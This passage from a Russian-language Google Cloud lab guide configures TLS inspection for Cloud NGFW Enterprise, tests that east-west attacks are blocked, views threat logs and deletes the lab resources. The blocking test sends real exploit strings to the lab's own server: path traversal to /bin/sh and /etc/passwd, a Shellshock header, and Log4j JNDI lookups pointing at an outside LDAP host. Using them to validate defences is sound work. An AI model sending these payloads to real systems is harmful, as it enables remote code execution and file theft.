name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Импортируйте обновленную политику TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Проверка проверки E/W TLS

SSH обратно к клиенту для проверки E/W-трафика с обновленной конфигурацией доверия:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Запустите образец запроса TLS на сервер:

curl https://$target_privateip --max-time 2

Если вы по-прежнему получаете приведенный ниже вывод, дождитесь распространения обновлений.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Ожидаемый результат:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Отправьте вредоносный тестовый трафик на сервер:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Ожидаемый результат:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Никаких ответов, как ожидается, ниже не получено, что подтверждает, что примеры атак в настоящее время блокируются для E/W.

13. Ведение журнала

Перейдите в раздел «Ведение журналов» > «Обозреватель журналов» в облачной консоли, введите фильтр ниже и запросите журналы. Замените [PROJECT_ID] на свой project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Записи журнала Cloud NGFW Enterprise должны выглядеть так, как показано ниже:

Разверните записи журнала и обратите внимание, что атаки, отправленные с клиентской виртуальной машины на сервер, были идентифицированы и заблокированы ( уязвимость удаленного выполнения кода Apache Log4j, как показано на снимке экрана ниже).

Вы успешно развернули Cloud NGFW Enterprise с проверкой TLS для блокировки вредоносных запросов.

Перейдите к следующему разделу, где описаны этапы очистки.

14. Этапы очистки

Очистка базовой установки

Удалите экземпляры:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Если роли tagAdmin и tagUsers были изменены, выполните следующие действия:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Удалите ключ и значения тега:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Удалите сетевую политику и ассоциацию Cloud Firewall:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Удалите Cloud Router и Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Удалите зарезервированные IP-адреса:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

SPG облачного брандмауэра, ассоциация и очистка TLS

Удалите группу профилей безопасности и профиль угроз в следующем порядке:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Удалите ассоциацию конечной точки Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Удалите конечную точку Cloud Firewall, что может занять около 20 минут :

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

При необходимости подтвердите, что конечная точка Cloud NGFW была удалена, выполнив следующую команду:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Состояние конечной точки должно показывать:

STATE: DELETING

После завершения конечная точка больше не будет отображаться в списке.

Удалите политику TLS и конфигурацию доверия в следующем порядке:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Отключите и удалите корневой центр сертификации и пул центров сертификации:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Очистка подсети и VPC

Наконец, удалите подсеть и сеть VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Поздравляем!

Поздравляем, вы успешно завершили лабораторную работу Cloud NGFW Enterprise для проверки TLS на восток-запад и север.